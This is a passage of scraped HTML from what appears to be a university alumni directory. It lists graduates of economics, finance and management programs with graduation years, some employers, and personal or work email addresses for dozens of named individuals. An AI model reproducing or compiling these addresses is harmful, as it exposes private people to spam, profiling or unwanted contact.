href=\"mailto:seyidzade93@mail.ru\">seyidzade93[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Murad Abdullayev </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Murad1996abdullayev@gmail.com\">Murad1996abdullayev[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Malaksima Askarli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:meleksimaskerli@gmail.com\">meleksimaskerli[at]gmail.com</a><strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Mahir Mammadov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:mahirrmm@mail.ru\">mahirrmm[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Musa Isayev </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:musaisayev@yahoo.com\">musaisayev[at]yahoo.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Mahsati Mammadova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Economics 2017</p>\r\n<p>E-mail: <a href=\"mailto:mammadovamehseti@gmail.com\">mammadovamehseti[at]gmail.com</a><strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Murad Garayev </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:muradqarayev93@gmail.com\">muradgarayev93[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Madina Khalilli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:medina_kh@hotmail.com\">medina_kh[at]hotmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Mina Abilova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:abilovamina@rocketmail.com\">abilovamina[at]rocketmail.com</a></p>  <p><strong><br></strong></p><p><strong>Mehman Askerov</strong></p><p>School of Economics and Management</p><p>Finance, 2017&nbsp;</p><p>E-mail:&nbsp;<a href=\"http://mailto:asgarov.mehman@yahoo.com/\">asgarov.mehman[at]yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Malik Safarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:malikenveroglu@gmail.com\">malikenveroglu@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Muzayyam Ashrafli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:muzeyyem1995@gmail.com\">muzeyyem1995@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mahammad Aydin</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:muhammedaydin227@gmail.com\">muhammedaydin227@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mikayil Baghirli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Mikayil.bagirli@gmail.com\">Mikayil.bagirli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Murad İsayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:is_murad@mail.ru\">is_murad@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Maharram Mustafayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Ernst &amp; Young Holdings (CIS) B.V., Department: Audit, Staff</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:m.mustafaev@gmail.com\">m.mustafaev@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:m.mustafaev@gmail.com\"></a>Bachelor 2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Murad Mansurov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:murik_067@mail.ru\">murik_067@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Maksud Tuayev&nbsp;</strong></p><p style=\"font-weight:bold\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">USA</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:maksudtuayev@yahoo.com\">maksudtuayev@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mehdi Lahijev&nbsp;</strong></p><p>School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mehdi_xazar@yahoo.com\">mehdi_xazar@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Marziya Shiriyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organizations and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:marziya.shiriyeva@gmail.com\">marziya.shiriyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Masud Aghakishiyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:masud_aghakishiyev@yahoo.com\">masud_aghakishiyev@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Movla Aliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:eliyevmovlan@gmail.com\">eliyevmovlan@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><h3 id=\"N\" style=\"font-weight:bold\"><strong>N</strong></h3><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Natig Salimov</span></strong><strong></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:selimovnatiq@gmail.com\">selimovnatig[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Namig\r\nMammadzade</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Namig.mammadzada@gmail.com\">Namig.mammadzada[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nail Akhundov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Akhundov.nail@gmail.com\">Akhundov.nail[at]gmail.com</a><strong></strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Narmina Budagova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Budaqovanarmina@gmail.com\">Budagovanarmina[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nigar İsgandarova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nigariskenderova07@gmail.com\">nigariskenderova07[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nadir Gadirli</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nadir1990@live.com\">nadir1990[at]live.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nazrin Badalova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:badalova_nazrin@bk.ru\">badalova_nazrin[at]bk.ru</a></p>\r\n<p>ABC Telecom MMC</p>\r\n<p><strong><br></strong></p><p><strong>Nijat Sabirli</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:3002391@gmail.com\">3002391[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Narmin Abbasova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:narmin.s.abbasova@gmail.com\">narmin.s.abbasova[at]gmail.com</a></p>\r\n<p>Deloitte&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Nuran Jafarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ceferova.nuran@mail.ru\">ceferova.nuran[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Narmin Zari </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nermin.zari@gmail.com\">nermin.zari[at]gmail.com</a></p>\r\n<p>&nbsp;Boarding School # 11, Chair of Students’ Union </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nigar Aliyeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Zahid_nigar_95@mail.ru\">Zahid_nigar_95[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Narmin Seyidova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:n.kerimli@hotmail.com\">n.kerimli[at]hotmail.com</a></p>\r\n<p>The Sailing Federation of\r\nAzerbaijan</p>\r\n<p><strong><br></strong></p><p><strong>Natella Aliyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:n.aliyeva009@gmail.com\">n.aliyeva009[at]gmail.com</a><strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Narmin Yunusova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit&nbsp;in\r\nService Industry</p>\r\n<p>E-mail: <a href=\"mailto:ynarmin@yahoo.com\">ynarmin[at]yahoo.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nigar Nuriyeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nuriyevanigar@hotmail.com\">nuriyevanigar[at]hotmail.com</a></p>\r\n<p>Ministry of Economic Development</p>  <p><span style=\"font-size:12.0pt\"><strong><br></strong></span></p><p><span style=\"font-size:12.0pt\"><strong>Nigar\r\nJabbarova</strong></span></p><p>School\r\nof Economics and Management</p>\r\n<p>MBA,\r\n2015 </p>\r\n<p>Accounting\r\nand audit in manufacture sphere</p>\r\n<p>Bank\r\nof Baku – Department of Digital Banking and Project management <a href=\"mailto:nigarjabbarova@hotmail.com\">nigarjabbarova@hotmail.com</a> ; <a href=\"mailto:nscabbarova@bankofbaku.com\">nscabbarova@bankofbaku.com</a></p><p><a href=\"mailto:nscabbarova@bankofbaku.com\"></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Naila&nbsp;Abdullayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nargiz Sadigova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SİGMA technical services, project coordinator</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nargizfsa12@hotmail.com\">nargizfsa12@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:nargizfsa12@hotmail.com\"></a>Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar&nbsp;Huseynzade&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">USA, Marriot Hotel Reception Administrator</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nigar.huseynzadeh@gmail.com\">nigar.huseynzadeh@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nijat&nbsp;Rahimov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nicat_rehimov@yahoo.com.tr\">nicat_rehimov@yahoo.com.tr</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Suleymanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nigar.suleymanova.1993@gmail.com\">nigar.suleymanova.1993@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin&nbsp;Ramazanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:narmin.ramazanova@rambler.ru\">narmin.ramazanova@rambler.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nijat Aghayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Nicat.A%C4%9Fayev@gmail.com\">Nicat.Aghayev@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Farajullayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Norway</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:NIGARAF@AGBANK.AZ\">NIGARAF@AGBANK.AZ</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nurani Allahverdiyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Qarant insurance MMC, insurance agent</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nuranii@rambler.ru\">nuranii@rambler.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Mammadova&nbsp;</strong></p><p>International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Fransa, Disneyland hotel, manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:narmishka_23@hotmail.com\">narmishka_23@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nijat Baghirov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nic.xazar@hotmail.co.uk\">nic.xazar@hotmail.co.uk</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nargiz Mammadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İnternational&nbsp; Economic\r\nRelations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mamedova_narguiz@yahoo.com\">mamedova_narguiz@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nargiz Hajiyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Samadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mariott Hotel</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Nigar.samedova@marriott.com\">Nigar.samedova@marriott.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Safarova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azersun/Standardization</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Nigar.s@live.com\">Nigar.s@live.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Nigar.s@live.com\"></a>MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar&nbsp;Huseynzade</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">USA, Marriot Hotel Reception Administrator</p>\r\n<p style=\"\" 